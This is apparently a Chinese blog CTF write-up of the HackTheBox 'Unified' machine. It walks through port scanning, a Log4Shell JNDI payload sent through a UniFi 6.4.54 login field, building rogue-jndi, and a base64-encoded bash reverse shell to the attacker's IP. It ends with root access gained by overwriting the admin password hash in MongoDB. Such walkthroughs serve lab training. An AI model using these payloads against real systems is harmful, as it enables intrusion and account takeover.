端口扫描 log4j mongodb提权

一、信息收集

nmap -sC -sV -T3 -v 10.129.170.120
扫描得知靶机开放了四个端口

22/tcp   open  ssh    OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6789/tcp open  ibm-db2-admin?
8080/tcp open  http-proxy
8443/tcp open  ssl/nagios-nsca Nagios NSCA

并且根据扫描结果可以看出访问8080端口时会重定向到8443端口

访问一下8080端口,果然网页重定向到了8443端口,页面是一个unifi的登陆页面,unifi的版本是6.4.54

先简单尝试下弱口令和万能密码,发现都登不上去
这时候就要想到了既然给了一个cms框架,也知道具体版本,那么就可以去搜索一下这个版本的unifi有没有什么cve
果然,通过Google得知unifi 6.4.54存在漏洞CVE-2021-44228,是一个log4j漏洞
接下来就要验证这个网站是否真的存在这个漏洞

二、漏洞验证

使用burp或者开发者工具抓取登录时的数据包,同时使用tcpdump抓取攻击机tun0的389端口
sudo tcpdump -i tun0 port 389
编辑登录数据包,在data的remember字段中把flase改成"${jndi:ldap://{tun0_ip}/whatever}",重新发送数据包

这时在我们监听的389端口就收到了数据报文,证明网站存在log4j漏洞

三、环境搭建

在进行漏洞利用前,要先配置好漏洞利用环境
首先先安装jdk,之后再使用sudo apt-get install maven命令安装mvn
安装mvn是用于编译rogue-jndi
什么是rogue-jndi?
rogue-jndi会开启一个本地的LDAP服务器,允许我们接收来自有漏洞的服务器的连接并执行恶意代码

关于log4j漏洞原理复现可以参考这篇文章https://cloud.tencent.com/developer/article/1922132

安装rogue-jndi工具并编译

git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package

出现build success即编译成功

这时target目录下就有了RogueJndi-1.1.jar,也是我们进行漏洞利用时会用到的程序

四、漏洞利用

在使用RogueJndi-1.1.jar前先看看它支持哪些参数

可以看到它的–command后面就跟想要执行的系统命令,我们就可以写一个反弹shell了
同时为了数据再传输过程中不丢失,我们对反弹shell命令进行base64编码
echo "/bin/bash -c '/bin/bash -i >&/dev/tcp/10.10.14.179/4444 0>&1'" | base64
这样就得到了base64加密后的shell

接下来使用RogueJndi-1.1.jar并监听4444端口

java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYvZGV2L3RjcC8xMC4xMC4xNC4xNzkvNDQ0NCAwPiYxJwo=}|{base64,-d}|{bash,-i}" --hostname "10.10.14.179"


我们可以利用tomcat,修改之前的payload,将修改好后的payload放入remember字段,发送

成功getshell

五、提权

使用ps aux查看系统有哪些进程,发现27117端口存在mongodb数据库

因为mongodb是NOsql数据库,使用系统命令查看数据库用户

发现存在administrator,但是由于密码是进过sha512加密后的结果,我们并不能直接得到密码
同时由于加密强度很高,我们只能通过hash碰撞破解密码,但是成功率也很低
这时想到可以把administrator的密码修改成弱密码如password
先使用mkpasswd -m sha-512 password命令,得到password的sha512加密后的值

将administrator的密码修改为password

mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$hwb9W.VC28pwXtPT$N8DRe.81H.wB3NN5Ac/5zhGdQkKAibE/i/7I6kvKaVbWGYApa9EghEhtyqtz39qS6x6oDNRNo5z9Nk9m2VMio0"}})'


查看修改结果,修改成功

再使用修改后的密码登录网站,登录成功

后台设置里看到ssh密码

ssh远程连接后以为root用户,提权成功

HackTheBox - Unified相关推荐

  1. 2018/8/24阅读文献 A Unified Model for Multi-Objective Evolutionary Algorithms with Elitism

    信息:  2000年    苏黎世联邦理工学院 题目: A Unified Model for Multi-Objective Evolutionary Algorithms with Elitism ...

  2. 普元eos开发手册_名词解释--统一应用(开发)平台Unified Application Platform

    国内有些企业项目开发当中,可能会遇到UAP的概念,UAP指的是Unified Application Platform,即统一应用平台. UAP,简单的理解,就是公司层面,统一的技术平台,涉及整个公司 ...

  3. 目标检测--A Unified Multi-scale Deep Convolutional Neural Network for Fast Object Detection

    A Unified Multi-scale Deep Convolutional Neural Network for Fast Object Detection ECCV2016 https://g ...

  4. 车辆检测--DAVE: A Unified Framework for Fast Vehicle Detection and Annotation

    DAVE: A Unified Framework for Fast Vehicle Detection and Annotation ECCV2016 本文使用深度学习进行车辆检测和属性学习.提出的 ...

  5. FaceNet: A Unified Embedding for Face Recognition and Clustering

    论文:FaceNet: A Unified Embedding for Face Recognition and Clustering 时间:2015.04.13 来源:CVPR 2015 来自谷歌的 ...

  6. 论文阅读:CNN-RNN: A Unified Framework for Multi-label Image Classification

    CNN-RNN: A Unified Framework for Multi-label Image Classification Updated on 2018-08-0722:30:41 Pape ...

  7. Unified Networking Lab 安装使用IOL镜像

    Unified Networking Lab 安装使用IOL镜像 Unified Networking Lab 很久以前,在一个星系远的地方,很远的工程师们为eBay寻找二手路由器来满足家庭实验的需求 ...

  8. YOLO系列阅读(一) YOLOv1原文阅读:You Only Look Once: Unified, Real-Time Object Detection

    目录 0.Abstract 0.1原文翻译 第一段(说明本次研究和之前研究的区别) 第二段(速度快.虽然错误率高一点,但是背景被错误标记的概率更低) 0.2总结 1. Introduction 1.翻 ...

  9. Paper:《A Unified Approach to Interpreting Model Predictions—解释模型预测的统一方法》论文解读与翻译

    Paper:<A Unified Approach to Interpreting Model  Predictions-解释模型预测的统一方法>论文解读与翻译 导读:2017年11月25 ...

最新文章

  1. python读写excel
  2. Coding:两个从大到小的有序链表合并成一个从小到大有序链表
  3. Android安卓模拟器的使用
  4. SAP Cloud for Customer Account和individual customer的区别
  5. virtualbox的USB识别
  6. C++程序员必需的修养
  7. Mouse Jiggler – 自动移动光标,防止电脑启动屏保、进入休眠[Windows]
  8. 具体解释Android中AsyncTask的使用
  9. Consumer配置
  10. 程序员的职业规划_大学毕业进入职场,程序员如何进行合理的互联网职业规划?...
  11. 系统学习NLP(九)--中文分词算法综述
  12. 抖音快闪PPT制作教程
  13. java jco sap 重连_Java连接SAP,使用SAPJCO3.jar
  14. 潘多拉网吧防火墙 1.0 双线破解
  15. 人工智能学习资源汇总
  16. 疯狂原始人服务器维修,《疯狂原始人》进不去解决办法 进不去怎么办
  17. 通过Java监听MySQL数据的变化
  18. Window平台的eclipse连接linux的hadoop集群
  19. 妹妹,这回哥哥听你的了,以前哥哥真的太傻
  20. 魔方二代 php代码还原

热门文章

  1. 动手学习深度学习——Pytorch版教程系列汇总(长期更新版)
  2. linux网桥实现代码走读
  3. AcWing寒假每日一题2022-第1周
  4. 【平衡车】电机编码器知识总结
  5. 发动机太热 请不要用冷水降温
  6. 我们是创业团队,实习前两月没钱,全栈每月800块!
  7. PhotoShop入门到精通(一)
  8. 投资转型:实体店铺,投资经营复盘
  9. Hadoop文件系统
  10. Java 访问 HDFS操作